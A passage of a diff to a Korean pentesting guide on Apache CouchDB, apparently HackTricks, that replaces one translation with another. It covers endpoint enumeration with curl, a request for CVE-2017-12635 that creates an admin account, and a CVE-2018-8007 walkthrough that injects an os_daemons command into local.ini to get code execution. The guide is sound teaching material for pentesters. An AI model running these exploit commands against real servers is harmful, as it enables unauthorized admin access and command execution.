||||||
|
@ -26,122 +27,65 @@ PORT STATE SERVICE REASON
|
||||||
5984/tcp open unknown syn-ack
|
5984/tcp open unknown syn-ack
|
||||||
```
|
```
|
||||||
## **자동 열거**
|
## **자동 열거**
|
||||||
|
|
||||||
Automatic enumeration is a technique used in pentesting to gather information about a target system or network. It involves using automated tools to scan and enumerate various aspects of the target, such as open ports, running services, and installed software.
|
|
||||||
|
|
||||||
자동 열거는 펜테스팅에서 대상 시스템이나 네트워크에 대한 정보를 수집하는 기술입니다. 이는 자동화된 도구를 사용하여 대상의 열린 포트, 실행 중인 서비스 및 설치된 소프트웨어와 같은 다양한 측면을 스캔하고 열거하는 것을 포함합니다.
|
|
||||||
|
|
||||||
## **Port Scanning**
|
|
||||||
|
|
||||||
Port scanning is a crucial step in the enumeration process. It involves scanning a target system or network for open ports, which are points of entry for network services. By identifying open ports, an attacker can determine which services are running on the target and potentially exploit any vulnerabilities associated with those services.
|
|
||||||
|
|
||||||
포트 스캐닝은 열거 과정에서 중요한 단계입니다. 이는 대상 시스템이나 네트워크에서 네트워크 서비스의 진입점인 열린 포트를 스캔하는 것을 의미합니다. 열린 포트를 식별함으로써 공격자는 대상에서 실행 중인 서비스를 확인하고 해당 서비스와 관련된 취약점을 이용할 수 있습니다.
|
|
||||||
|
|
||||||
There are various port scanning techniques, such as TCP connect scanning, SYN scanning, and UDP scanning. Each technique has its advantages and disadvantages, and the choice of technique depends on the specific scenario and the target system.
|
|
||||||
|
|
||||||
TCP 연결 스캐닝, SYN 스캐닝 및 UDP 스캐닝과 같은 다양한 포트 스캐닝 기술이 있습니다. 각 기술은 장단점이 있으며 기술의 선택은 특정 시나리오와 대상 시스템에 따라 달라집니다.
|
|
||||||
|
|
||||||
## **Service Enumeration**
|
|
||||||
|
|
||||||
Once open ports have been identified, the next step is to enumerate the services running on those ports. Service enumeration involves gathering information about the specific services, such as the version number, running processes, and configuration details.
|
|
||||||
|
|
||||||
열린 포트가 식별되면 다음 단계는 해당 포트에서 실행 중인 서비스를 열거하는 것입니다. 서비스 열거는 버전 번호, 실행 중인 프로세스 및 구성 세부 정보와 같은 특정 서비스에 대한 정보를 수집하는 것을 의미합니다.
|
|
||||||
|
|
||||||
There are various tools and techniques available for service enumeration, such as banner grabbing, fingerprinting, and vulnerability scanning. These techniques help in identifying the specific services running on the target system and provide valuable information for further exploitation.
|
|
||||||
|
|
||||||
배너 그래빙, 지문 인식 및 취약점 스캐닝과 같은 다양한 도구와 기술이 서비스 열거에 사용됩니다. 이러한 기술은 대상 시스템에서 실행 중인 특정 서비스를 식별하고 추가적인 공격을 위한 유용한 정보를 제공하는 데 도움이 됩니다.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||||
```
|
```
|
||||||
|
## 수동 열거
|
||||||
|
|
||||||
### 배너
|
### 배너
|
||||||
|
|
||||||
CouchDB 서비스에 대한 정보를 수집하기 위해 첫 번째로 할 수 있는 것은 서비스의 배너를 확인하는 것입니다. 배너는 서비스의 버전 및 기타 유용한 정보를 제공할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ telnet <target_ip> <port>
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령을 사용하여 CouchDB 서비스에 연결합니다. 연결이 성공하면 서비스의 배너가 표시됩니다. 배너에는 CouchDB의 버전 및 기타 정보가 포함될 수 있습니다.
|
|
||||||
|
|
||||||
### DNS Rebinding
|
|
||||||
|
|
||||||
CouchDB 서비스에 대한 DNS Rebinding을 사용하여 서비스에 액세스할 수도 있습니다. DNS Rebinding은 공격자가 피해자의 브라우저에서 실행되는 JavaScript 코드를 통해 피해자의 네트워크에 액세스하는 기술입니다.
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
var xhr = new XMLHttpRequest();
|
|
||||||
xhr.open("GET", "http://<target_ip>:<port>/_all_dbs", true);
|
|
||||||
xhr.onreadystatechange = function() {
|
|
||||||
if (xhr.readyState == 4 && xhr.status == 200) {
|
|
||||||
console.log(xhr.responseText);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
xhr.send();
|
|
||||||
```
|
|
||||||
|
|
||||||
위의 JavaScript 코드를 사용하여 CouchDB 서비스에 액세스할 수 있습니다. `<target_ip>`와 `<port>`를 대상 서비스의 IP 주소와 포트 번호로 대체하십시오. 코드를 실행하면 CouchDB의 모든 데이터베이스를 확인할 수 있습니다.
|
|
||||||
|
|
||||||
### HTTP 요청
|
|
||||||
|
|
||||||
CouchDB는 HTTP를 통해 통신하는 RESTful API를 제공합니다. 따라서 HTTP 요청을 사용하여 서비스에 액세스할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ curl -X GET http://<target_ip>:<port>/_all_dbs
|
|
||||||
```
|
|
||||||
|
|
||||||
위의 명령을 사용하여 CouchDB 서비스에 HTTP GET 요청을 보낼 수 있습니다. `<target_ip>`와 `<port>`를 대상 서비스의 IP 주소와 포트 번호로 대체하십시오. 응답으로 CouchDB의 모든 데이터베이스를 확인할 수 있습니다.
|
|
||||||
```
|
```
|
||||||
curl http://IP:5984/
|
curl http://IP:5984/
|
||||||
```
|
```
|
||||||
이는 설치된 CouchDB 인스턴스에 GET 요청을 보냅니다. 응답은 다음 중 하나와 비슷한 형태여야 합니다:
|
이것은 설치된 CouchDB 인스턴스에 GET 요청을 보냅니다. 응답은 다음 중 하나와 비슷해야 합니다:
|
||||||
```bash
|
```bash
|
||||||
{"couchdb":"Welcome","version":"0.10.1"}
|
{"couchdb":"Welcome","version":"0.10.1"}
|
||||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
루트 couchdb에 액세스하면 다음과 같은 `401 Unauthorized` 오류가 발생합니다: `{"error":"unauthorized","reason":"Authentication required."}` **배너나 다른 엔드포인트에 액세스할 수 없습니다**.
|
couchdb의 루트에 접근할 때 `401 Unauthorized`와 같은 응답을 받으면: `{"error":"unauthorized","reason":"Authentication required."}` **배너나 다른 엔드포인트에 접근할 수 없습니다.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 정보 열거
|
### 정보 열거
|
||||||
|
|
||||||
다음은 **GET** 요청으로 액세스하여 일부 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. couchdb 문서에서 [**더 많은 엔드포인트 및 자세한 설명을 찾을 수 있습니다**](https://docs.couchdb.org/en/latest/api/index.html).
|
다음은 **GET** 요청으로 접근하여 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. [**couchdb 문서에서 더 많은 엔드포인트와 자세한 설명을 찾을 수 있습니다**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||||
|
|
||||||
* **`/_active_tasks`** 실행 중인 작업 목록입니다. 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다.
|
* **`/_active_tasks`** 실행 중인 작업의 목록으로, 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다.
|
||||||
* **`/_all_dbs`** CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다.
|
* **`/_all_dbs`** CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다.
|
||||||
* **`/_cluster_setup`** 클러스터 또는 노드의 상태를 클러스터 설정 마법사에 따라 반환합니다.
|
* **`/_cluster_setup`** 클러스터 설정 마법사에 따라 노드 또는 클러스터의 상태를 반환합니다.
|
||||||
* **`/_db_updates`** CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면 `_global_changes` 데이터베이스가 존재해야 합니다.
|
* **`/_db_updates`** CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면 `_global_changes` 데이터베이스가 존재해야 합니다.
|
||||||
* **`/_membership`** 클러스터에 속한 노드를 `cluster_nodes`로 표시합니다. `all_nodes` 필드는 클러스터에 속한 노드뿐만 아니라 이 노드가 알고 있는 모든 노드를 표시합니다.
|
* **`/_membership`** 클러스터의 일부인 노드를 `cluster_nodes`로 표시합니다. `all_nodes` 필드는 이 노드가 알고 있는 모든 노드를 표시하며, 클러스터의 일부인 노드도 포함됩니다.
|
||||||
* **`/_scheduler/jobs`** 복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트 기록 및 기타 몇 가지 정보가 포함됩니다.
|
* **`/_scheduler/jobs`** 복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트의 이력 및 기타 몇 가지 정보가 포함됩니다.
|
||||||
* **`/_scheduler/docs`** 복제 문서 상태 목록입니다. `completed` 및 `failed` 상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에는 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상 등의 정보가 반환됩니다.
|
* **`/_scheduler/docs`** 복제 문서 상태 목록입니다. `completed` 및 `failed` 상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에 대해 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상, 기타 정보를 반환합니다.
|
||||||
* **`/_scheduler/docs/{replicator_db}`**
|
* **`/_scheduler/docs/{replicator_db}`**
|
||||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||||
* **`/_node/{node-name}`** `/_node/{node-name}` 엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보를 검색하기 위해 `/_node/_local`에 액세스할 때 가장 유용합니다.
|
* **`/_node/{node-name}`** `/_node/{node-name}` 엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보에 접근하기 위해 `/_node/_local`에 접근할 때 가장 유용합니다.
|
||||||
* **`/_node/{node-name}/_stats`** `_stats` 리소스는 실행 중인 서버의 통계를 포함하는 JSON 개체를 반환합니다. 리터럴 문자열 `_local`은 로컬 노드 이름의 별칭으로 사용되므로 모든 통계 URL에서 `{node-name}`을 `_local`로 대체하여 로컬 노드의 통계와 상호 작용할 수 있습니다.
|
* **`/_node/{node-name}/_stats`** `_stats` 리소스는 실행 중인 서버의 통계를 포함하는 JSON 객체를 반환합니다. 리터럴 문자열 `_local`은 로컬 노드 이름의 별칭으로 사용되므로, 모든 통계 URL에서 `{node-name}`을 `_local`로 대체하여 로컬 노드의 통계와 상호작용할 수 있습니다.
|
||||||
* **`/_node/{node-name}/_system`** `_system` 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 개체를 반환합니다. 현재 노드 정보를 얻으려면 {node-name}으로 `_local`을 사용할 수 있습니다.
|
* **`/_node/{node-name}/_system`** \_system 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 객체를 반환합니다. 현재 노드 정보를 얻기 위해 `{node-name}`으로 `_local`을 사용할 수 있습니다.
|
||||||
* **`/_node/{node-name}/_restart`**
|
* **`/_node/{node-name}/_restart`**
|
||||||
* **`/_up`** 서버가 실행 중이고 요청에 응답할 준비가 되어 있는지 확인합니다. [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode)가 `true` 또는 `nolb`인 경우 엔드포인트는 404 응답을 반환합니다.
|
* **`/_up`** 서버가 작동 중이며 요청에 응답할 준비가 되었음을 확인합니다. [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode)가 `true` 또는 `nolb`인 경우, 엔드포인트는 404 응답을 반환합니다.
|
||||||
* **`/_uuids`** CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다.
|
* **`/_uuids`** CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다.
|
||||||
* **`/_reshard`** 클러스터의 완료된, 실패한, 실행 중인, 중지된 및 전체 작업 수와 리샤딩 상태를 반환합니다.
|
* **`/_reshard`** 완료된 작업, 실패한 작업, 실행 중인 작업, 중지된 작업 및 총 작업 수와 클러스터의 재분할 상태를 반환합니다.
|
||||||
|
|
||||||
여기에서 설명된대로 더 흥미로운 정보를 추출할 수 있습니다: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
더 흥미로운 정보는 여기에서 추출할 수 있습니다: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||||
|
|
||||||
### **데이터베이스 목록**
|
### **데이터베이스 목록**
|
||||||
```
|
```
|
||||||
curl -X GET http://IP:5984/_all_dbs
|
curl -X GET http://IP:5984/_all_dbs
|
||||||
```
|
```
|
||||||
만약 해당 요청이 **401 권한 없음**으로 응답한다면, 데이터베이스에 접근하기 위해 **유효한 자격 증명**이 필요합니다:
|
만약 그 요청이 **401 권한 없음**으로 응답한다면, 데이터베이스에 접근하기 위해 **유효한 자격 증명**이 필요합니다:
|
||||||
```
|
```
|
||||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||||
```
|
```
|
||||||
유효한 자격 증명을 찾기 위해 [서비스를 무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#couchdb)할 수 있습니다.
|
유효한 자격 증명을 찾기 위해 **서비스를** [**브루트포스 시도**](../generic-methodologies-and-resources/brute-force.md#couchdb)할 수 있습니다.
|
||||||
|
|
||||||
다음은 데이터베이스 목록만 있는 경우에 충분한 권한이 있는 경우의 couchdb 응답의 **예시**입니다:
|
다음은 **충분한 권한**이 있어 데이터베이스를 나열할 수 있을 때의 couchdb **응답** **예시**입니다(단순히 데이터베이스 목록입니다):
|
||||||
```bash
|
```bash
|
||||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||||
```
|
```
|
||||||
### 데이터베이스 정보
|
### Database Info
|
||||||
|
|
||||||
데이터베이스 이름에 접근하여 일부 데이터베이스 정보(파일 수 및 크기 등)를 얻을 수 있습니다:
|
데이터베이스 이름에 접근하여 일부 데이터베이스 정보를 얻을 수 있습니다(파일 수 및 크기 등):
|
||||||
```bash
|
```bash
|
||||||
curl http://IP:5984/<database>
|
curl http://IP:5984/<database>
|
||||||
curl http://localhost:5984/simpsons
|
curl http://localhost:5984/simpsons
|
||||||
|
@ -150,7 +94,7 @@ curl http://localhost:5984/simpsons
|
||||||
```
|
```
|
||||||
### **문서 목록**
|
### **문서 목록**
|
||||||
|
|
||||||
데이터베이스 내의 각 항목을 나열합니다.
|
데이터베이스 내의 각 항목 나열
|
||||||
```bash
|
```bash
|
||||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||||
curl http://localhost:5984/simpsons/_all_docs
|
curl http://localhost:5984/simpsons/_all_docs
|
||||||
|
@ -167,7 +111,7 @@ curl http://localhost:5984/simpsons/_all_docs
|
||||||
```
|
```
|
||||||
### **문서 읽기**
|
### **문서 읽기**
|
||||||
|
|
||||||
데이터베이스 내의 문서 내용을 읽습니다:
|
데이터베이스 내 문서의 내용을 읽습니다:
|
||||||
```bash
|
```bash
|
||||||
curl -X GET http://IP:5984/{dbname}/{id}
|
curl -X GET http://IP:5984/{dbname}/{id}
|
||||||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||||
|
@ -176,11 +120,11 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||||
```
|
```
|
||||||
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||||
|
|
||||||
Erlang과 JavaScript JSON 파서 간의 차이로 인해 다음 요청을 사용하여 자격 증명이 `hacktricks:hacktricks`인 관리자 사용자를 **생성**할 수 있습니다:
|
Erlang과 JavaScript JSON 파서의 차이 덕분에 다음 요청으로 `hacktricks:hacktricks` 자격 증명을 가진 **관리자 사용자**를 **생성할 수 있습니다**:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||||
```
|
```
|
||||||
[**이 취약점에 대한 자세한 정보는 여기에서 확인하세요**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
[**이 취약점에 대한 더 많은 정보는 여기에서 확인하세요**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||||
|
|
||||||
## CouchDB RCE
|
## CouchDB RCE
|
||||||
|
|
||||||
|
@ -188,24 +132,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
|
||||||
|
|
||||||
예시 [여기에서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
예시 [여기에서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
CouchDB 문서에서는 특히 클러스터 설정에 관한 섹션에서 CouchDB가 클러스터 모드에서 사용하는 포트에 대해 설명합니다 ([링크](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)). 독립 모드와 마찬가지로 포트 `5984`가 사용된다고 언급되어 있습니다. 추가로, 포트 `5986`은 노드 로컬 API에 사용되며, 중요한 것은 Erlang이 Erlang 클러스터 내에서 노드 간 통신을 용이하게 하는 Erlang Port Mapper Daemon (EPMD)에 대해 TCP 포트 `4369`가 필요하다는 것입니다. 이 설정은 각 노드가 다른 모든 노드와 상호 연결된 네트워크를 형성합니다.
|
CouchDB 문서에서는 클러스터 설정과 관련된 섹션에서 ([링크](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), 클러스터 모드에서 CouchDB가 사용하는 포트에 대해 논의합니다. 독립 실행 모드와 마찬가지로 포트 `5984`가 사용된다고 언급되어 있습니다. 또한, 포트 `5986`은 노드 로컬 API에 사용되며, 중요하게도 Erlang은 Erlang 포트 매퍼 데몬(EPMD)을 위해 TCP 포트 `4369`가 필요하여 Erlang 클러스터 내에서 노드 간 통신을 용이하게 합니다. 이 설정은 각 노드가 다른 모든 노드와 연결된 네트워크를 형성합니다.
|
||||||
|
|
||||||
포트 `4369`에 대한 중요한 보안 공지가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크를 통해 접근 가능하게 되면, 시스템의 보안은 "쿠키"라고 알려진 고유 식별자에 매우 의존합니다. 이 쿠키는 보호 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
|
포트 `4369`에 대한 중요한 보안 권고가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크에서 접근 가능하게 되면, 시스템의 보안은 "쿠키"라는 고유 식별자에 크게 의존하게 됩니다. 이 쿠키는 보호 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
|
||||||
```
|
```
|
||||||
www-data@canape:/$ ps aux | grep couchdb
|
www-data@canape:/$ ps aux | grep couchdb
|
||||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||||
```
|
```
|
||||||
이 "쿠키"가 Erlang 시스템의 컨텍스트에서 원격 코드 실행 (RCE)을 위해 어떻게 악용될 수 있는지 이해하고 싶은 사람들을 위해, 추가로 읽을 수 있는 전용 섹션이 제공됩니다. 이 섹션에서는 Erlang 쿠키를 무단으로 악용하여 시스템을 제어하기 위한 방법론에 대해 자세히 설명합니다. **[여기에서 Erlang 쿠키를 RCE에 악용하는 상세 가이드를 살펴보세요](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
원격 코드 실행(RCE) 맥락에서 이 "쿠키"가 어떻게 악용될 수 있는지 이해하고자 하는 분들을 위해, 추가 읽기를 위한 전용 섹션이 마련되어 있습니다. 이는 시스템에 대한 제어를 달성하기 위해 비인가 방식으로 Erlang 쿠키를 활용하는 방법론을 자세히 설명합니다. **[여기에서 RCE를 위한 Erlang 쿠키 악용에 대한 자세한 가이드를 탐색할 수 있습니다](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||||
|
|
||||||
### **local.ini 수정을 통한 CVE-2018-8007 악용**
|
### **local.ini 수정으로 CVE-2018-8007 악용하기**
|
||||||
|
|
||||||
예시는 [여기](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)에서 확인할 수 있습니다.
|
예제 [여기서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
Apache CouchDB에 영향을 미치는 최근에 공개된 취약점인 CVE-2018-8007을 악용하기 위해 `local.ini` 파일에 쓰기 권한이 필요하다는 사실이 밝혀졌습니다. 초기 대상 시스템에 직접 적용할 수 없는 보안 제한 때문에 `local.ini` 파일에 쓰기 권한을 부여하기 위해 수정을 가했습니다. 아래에는 이 과정을 보여주기 위해 상세한 단계와 코드 예시가 제공됩니다.
|
최근 공개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영향을 미치며, 악용하려면 `local.ini` 파일에 대한 쓰기 권한이 필요함을 밝혔습니다. 보안 제한으로 인해 초기 대상 시스템에 직접 적용할 수는 없지만, 탐색 목적으로 `local.ini` 파일에 대한 쓰기 접근을 부여하기 위해 수정이 이루어졌습니다. 아래에는 이 과정을 보여주는 자세한 단계와 코드 예제가 제공됩니다.
|
||||||
|
|
||||||
먼저, `local.ini` 파일이 쓰기 가능한 상태로 환경을 준비하고, 권한을 나열하여 확인합니다:
|
먼저, `local.ini` 파일이 쓰기 가능하도록 환경을 준비하며, 권한을 나열하여 확인합니다:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# ls -l
|
root@canape:/home/homer/etc# ls -l
|
||||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||||
|
@ -213,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
|
||||||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||||
```
|
```
|
||||||
취약점을 악용하기 위해 `local.ini`의 `cors/origins` 구성을 대상으로 curl 명령이 실행됩니다. 이는 `[os_daemons]` 섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
|
취약점을 악용하기 위해 `local.ini`의 `cors/origins` 구성에 대해 curl 명령이 실행됩니다. 이는 `[os_daemons]` 섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
|
||||||
```bash
|
```bash
|
||||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||||
```
|
```
|
||||||
다음 검증에서는 주입된 구성을 `local.ini`에서 확인하고, 변경 사항을 강조하기 위해 백업과 대조합니다:
|
후속 검증을 통해 `local.ini`에 주입된 구성을 확인하고, 변경 사항을 강조하기 위해 백업과 대조합니다:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||||
119,124d118
|
119,124d118
|
||||||
|
@ -226,25 +170,26 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||||
< [os_daemons]
|
< [os_daemons]
|
||||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||||
```
|
```
|
||||||
초기에는 예상 파일 (`/tmp/0xdf`)이 존재하지 않아서 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사 결과, CouchDB와 관련된 프로세스가 실행 중이며, 주입된 명령을 실행할 수 있는 가능성이 있는 프로세스가 하나 있습니다:
|
Initially, the expected file (`/tmp/0xdf`) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command:
|
||||||
|
초기에는 예상되는 파일(`/tmp/0xdf`)이 존재하지 않으며, 이는 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사를 통해 CouchDB와 관련된 프로세스가 실행되고 있으며, 그 중 하나는 주입된 명령을 실행할 수 있는 가능성이 있습니다:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/bin# ps aux | grep couch
|
root@canape:/home/homer/bin# ps aux | grep couch
|
||||||
```
|
```
|
||||||
다음은 CouchDB 프로세스를 종료하고 시스템이 자동으로 다시 시작되도록 함으로써 주입된 명령의 실행이 트리거되는 것을 확인하는 방법입니다. 이전에 누락된 파일의 존재로 확인됩니다:
|
식별된 CouchDB 프로세스를 종료하고 시스템이 자동으로 재시작하도록 허용함으로써, 주입된 명령의 실행이 촉발되며, 이는 이전에 없던 파일의 존재로 확인됩니다:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# kill 711
|
root@canape:/home/homer/etc# kill 711
|
||||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||||
/tmp/0xdf
|
/tmp/0xdf
|
||||||
```
|
```
|
||||||
이 탐색은 특정 조건 하에서 CVE-2018-8007 취약점을 악용할 수 있는 가능성을 확인합니다. 특히, `local.ini` 파일에 대한 쓰기 권한이 필요합니다. 제공된 코드 예제와 절차적 단계는 통제된 환경에서 해당 취약점을 복제하는 명확한 안내를 제공합니다.
|
이 탐색은 `local.ini` 파일에 대한 쓰기 가능한 접근 권한이 필요하다는 점을 특히 강조하며, 특정 조건에서 CVE-2018-8007의 악용 가능성을 확인합니다. 제공된 코드 예제와 절차적 단계는 통제된 환경에서 악용을 복제하기 위한 명확한 가이드를 제공합니다.
|
||||||
|
|
||||||
CVE-2018-8007에 대한 자세한 내용은 mdsec의 공지를 참조하세요: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
CVE-2018-8007에 대한 자세한 내용은 mdsec의 권고를 참조하십시오: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||||
|
|
||||||
### **Write Permissions on local.ini으로 CVE-2017-12636 탐색**
|
### **local.ini에 대한 쓰기 권한으로 CVE-2017-12636 탐색하기**
|
||||||
|
|
||||||
예시 [여기](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)에서 가져왔습니다.
|
예제 [여기에서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
CVE-2017-12636이라는 취약점을 탐색했으며, 이를 통해 CouchDB 프로세스를 통한 코드 실행이 가능하지만, 특정 구성에서는 악용이 방지될 수 있습니다. 온라인에서는 다양한 Proof of Concept (POC) 참조가 있지만, CouchDB 버전 2에서는 일반적으로 대상이 되는 1.x 버전과 다른 취약점을 악용하기 위해 조정이 필요합니다. 초기 단계에서는 CouchDB 버전을 확인하고 예상되는 쿼리 서버 경로가 없는지 확인하는 것이 필요합니다:
|
CouchDB 프로세스를 통해 코드 실행을 가능하게 하는 CVE-2017-12636으로 알려진 취약점이 탐색되었습니다. 그러나 특정 구성으로 인해 악용이 방지될 수 있습니다. 온라인에서 수많은 개념 증명(POC) 참조가 있지만, CouchDB 버전 2에서 취약점을 악용하기 위해서는 조정이 필요하며, 일반적으로 타겟팅되는 버전 1.x와 다릅니다. 초기 단계는 CouchDB 버전을 확인하고 예상 쿼리 서버 경로가 없음을 확인하는 것입니다:
|
||||||
```bash
|
```bash
|
||||||
